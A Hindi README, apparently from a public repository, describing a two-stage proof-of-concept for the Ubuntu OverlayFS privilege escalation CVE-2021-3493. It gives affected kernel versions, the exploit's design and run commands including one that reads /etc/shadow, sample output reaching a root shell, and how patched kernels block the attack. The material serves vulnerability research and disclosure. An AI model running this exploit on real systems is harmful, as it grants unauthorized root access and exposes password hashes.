
CVE-2021-3493 के लिए दो-चरणीय प्रूफ-ऑफ-कॉन्सेप्ट, जो Ubuntu OverlayFS का उपयोग करके उपयोगकर्ता नेमस्पेस में फ़ाइल क्षमता हेरफेर के माध्यम से अविशेषाधिकार प्राप्त उपयोगकर्ता से रूट तक पहुंच बढ़ाने का शोषण करता है।
CVE-2021-3493 के लिए एक काम करने वाला प्रूफ-ऑफ-कॉन्सेप्ट, जो उबंटू कर्नेल के ओवरलेएफएस कार्यान्वयन में एक स्थानीय विशेषाधिकार वृद्धि भेद्यता है।
एक गैर-विशेषाधिकार प्राप्त उपयोगकर्ता उपयोगकर्ता नेमस्पेस के अंदर एक ओवरले फाइलसिस्टम माउंट कर सकता है और setxattr के माध्यम से मनमानी फ़ाइल क्षमताएँ सेट कर सकता है। कर्नेल इन क्षमताओं के नेमस्पेस मूल को मान्य करने में विफल रहता है, इसलिए वे init उपयोगकर्ता नेमस्पेस में प्रभावी हो जाती हैं — जिससे कोई भी स्थानीय उपयोगकर्ता रूट तक विशेषाधिकार वृद्धि कर सकता है।
यह भेद्यता उबंटू-विशिष्ट है। उबंटू एक पैच (FS_USERNS_MOUNT) रखता है जो गैर-विशेषाधिकार प्राप्त ओवरले माउंट की अनुमति देता है — अपस्ट्रीम कर्नेल ऐसा नहीं करते, इसलिए मेनलाइन लिनक्स और अन्य वितरण आमतौर पर प्रभावित नहीं होते।
| वितरण | कर्नेल | असुरक्षित (निवारण संस्करण) |
|---|---|---|
| Ubuntu 20.10 | 5.8 | < 5.8.0-50 |
| Ubuntu 20.04 LTS | 5.4 | < 5.4.0-72 |
| Ubuntu 18.04 LTS | 4.15 | < 4.15.0-142 |
| Ubuntu 18.04 LTS (HWE) | 5.3 | < 5.3.0-73 |
| Ubuntu 16.04 LTS | 4.4 | < 4.4.0-209 |
| Ubuntu 14.04 ESM (HWE) | 4.4 | < 4.4.0-209 |
स्रोत: USN-4916-1
यह PoC दो-चरणीय डिज़ाइन का उपयोग करता है:
| फ़ाइल | भूमिका |
|---|---|
exploit.c | चरण 1 — उपयोगकर्ता नेमस्पेस के अंदर एक ओवरले फाइलसिस्टम बनाता है, रूटशेल पेलोड को उसमें कॉपी करता है, और security.capability xattr को सभी क्षमताओं (सभी+ep) के साथ सेट करता है |
दो चरण क्यों? मूल inspiringz/CVE-2021-3493 PoC में एक्सप्लॉइट उपयोगकर्ता नेमस्पेस के अंदर से एक शेल exec करता है, इसलिए uid=0 केवल एक नेमस्पेस मैपिंग है — वास्तविक रूट नहीं। यह PoC ओवरले सेटअप (उपयोगकर्ता नेमस्पेस में चाइल्ड प्रक्रिया) को पेलोड निष्पादन (init नेमस्पेस में पैरेंट प्रक्रिया) से अलग करता है, वास्तविक विशेषाधिकार वृद्धि सुनिश्चित करता है।
exploit (init ns, uid=1000)
│
├─ fork → child (user ns)
│ ├─ unshare(CLONE_NEWUSER | CLONE_NEWNS)
│ ├─ mount overlayfs
│ ├─ copy rootshell → overlay merge dir
│ ├─ setxattr("security.capability", all+ep) ← vulnerability trigger
│ └─ exit
│
└─ parent (init ns, uid=1000)
└─ execl("upper/rootshell")
├─ kernel loads file capabilities in init ns
│ CapPrm: 0000003fffffffff
│ CapEff: 0000003fffffffff
├─ setuid(0) → success
├─ setgid(0) → success
└─ exec /bin/bash → real root shell
/dev/shm → /tmp: मूल /dev/shm का उपयोग करता है जो nosuid के साथ माउंट होता है, जिससे कर्नेल निष्पादन पर फ़ाइल क्षमताओं को चुपचाप अनदेखा कर देता है। यह PoC /tmp का उपयोग करता है (आमतौर पर ext4 पर nosuid के बिना)।
दो-चरणीय पेलोड: मूल स्वयं की प्रतिलिपि (/proc/self/exe) को क्षमता-वहन बाइनरी के रूप में कॉपी करता है, लेकिन चूंकि एक्सप्लॉइट unshare को कॉल करता है, इसे पुनः निष्पादित करना केवल एक उपयोगकर्ता नेमस्पेस में फिर से प्रवेश करता है। यह PoC एक अलग rootshell बाइनरी का उपयोग करता है जो सीधे क्षमताओं का उपभोग करता है।
| OS | Ubuntu 20.04.1 LTS (Focal Fossa) |
| कर्नेल | 5.4.0-65-generic (असुरक्षित) / 5.4.0-216-generic (पैच किया हुआ) |
| कॉन्फ़िगरेशन | डिफ़ॉल्ट Ubuntu Server इंस्टॉल — कोई मिटिगेशन अक्षम नहीं |
परीक्षण होस्ट सभी डिफ़ॉल्ट सुरक्षा सुविधाओं के साथ एक स्टॉक उबंटू 20.04 कर्नेल का उपयोग करता है:
CONFIG_USER_NS=y + kernel.unprivileged_userns_clone=1 (डिफ़ॉल्ट — गैर-विशेषाधिकार प्राप्त उपयोगकर्ता नेमस्पेस की अनुमति देता है)CONFIG_OVERLAY_FS=m (डिफ़ॉल्ट — ओवरलेएफएस मॉड्यूल के रूप में उपलब्ध)BOOT_IMAGE=... root=... ro)किसी भी सुरक्षा सुविधा को अक्षम करने की आवश्यकता नहीं है — एक्सप्लॉइट डिफ़ॉल्ट उबंटू 20.04 पर एक असुरक्षित कर्नेल के साथ बिना किसी बदलाव के काम करता है।
⚠️ चेतावनी: इसे केवल उन्हीं सिस्टम पर चलाएँ जिनके आप मालिक हैं या जिनके परीक्षण के लिए आपको स्पष्ट रूप से अधिकृत किया गया है। यह एक्सप्लॉइट वास्तविक रूट एक्सेस प्रदान करता है।
make
./exploit
डिफ़ॉल्ट व्यवहार एक इंटरैक्टिव रूट शेल उत्पन्न करता है। आप एक एकल कमांड भी चला सकते हैं:
./exploit "id && cat /etc/shadow"
============================================
CVE-2021-3493 OverlayFS Privilege Escalation
Kernel: 5.4.0-65-generic
User: uid=1000(user) gid=1000(user)
============================================
[1] Setting up overlay filesystem in user namespace...
[2] File capabilities set on /tmp/.ovlcap/upper/rootshell
[3] Executing rootshell from init namespace...
[*] Before privilege escalation:
uid=1000(user) gid=1000(user)
[*] Process capabilities:
CapInh: 0000000000000000
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000
[+] After setuid(0) + setgid(0):
uid=0(root) gid=0(root)
root@host:~#
make clean
पैच किए गए कर्नेल (जैसे उबंटू 20.04 पर >= 5.4.0-70) जब उपयोगकर्ता नेमस्पेस में ओवरले के माध्यम से सेट किया जाता है तो क्षमता xattr को v2 से v3 प्रारूप में अपग्रेड करते हैं। v3 प्रारूप में init नेमस्पेस में सेटर के वास्तविक UID को रिकॉर्ड करने वाला rootid फ़ील्ड शामिल है। निष्पादन पर, कर्नेल rootid की जाँच करता है — यदि यह 0 नहीं है, तो क्षमताएँ अस्वीकार कर दी जाती हैं:
# Vulnerable kernel (5.4.0-65) — v2 format, no rootid
security.capability = 0x01000002 ffffffff00000000 ffffffff00000000
# Patched kernel (5.4.0-70+) — v3 format, rootid=1000
security.capability = 0x01000003 ffffffff00000000 ffffffff00000000 e8030000
^^ ^^^^^^^^
v3 rootid=1000
यह कोड केवल सुरक्षा अनुसंधान और अधिकृत परीक्षण के लिए प्रदान किया गया है। इसका उपयोग केवल उन्हीं सिस्टम पर करें जिनके आप मालिक हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति है। लेखक दुरुपयोग के लिए कोई दायित्व नहीं लेते हैं।
rootshell.c | चरण 2 — एक साफ पेलोड जो फ़ाइल क्षमताओं का उपयोग करके setuid(0) को कॉल करता है और एक वास्तविक रूट शेल उत्पन्न करता है |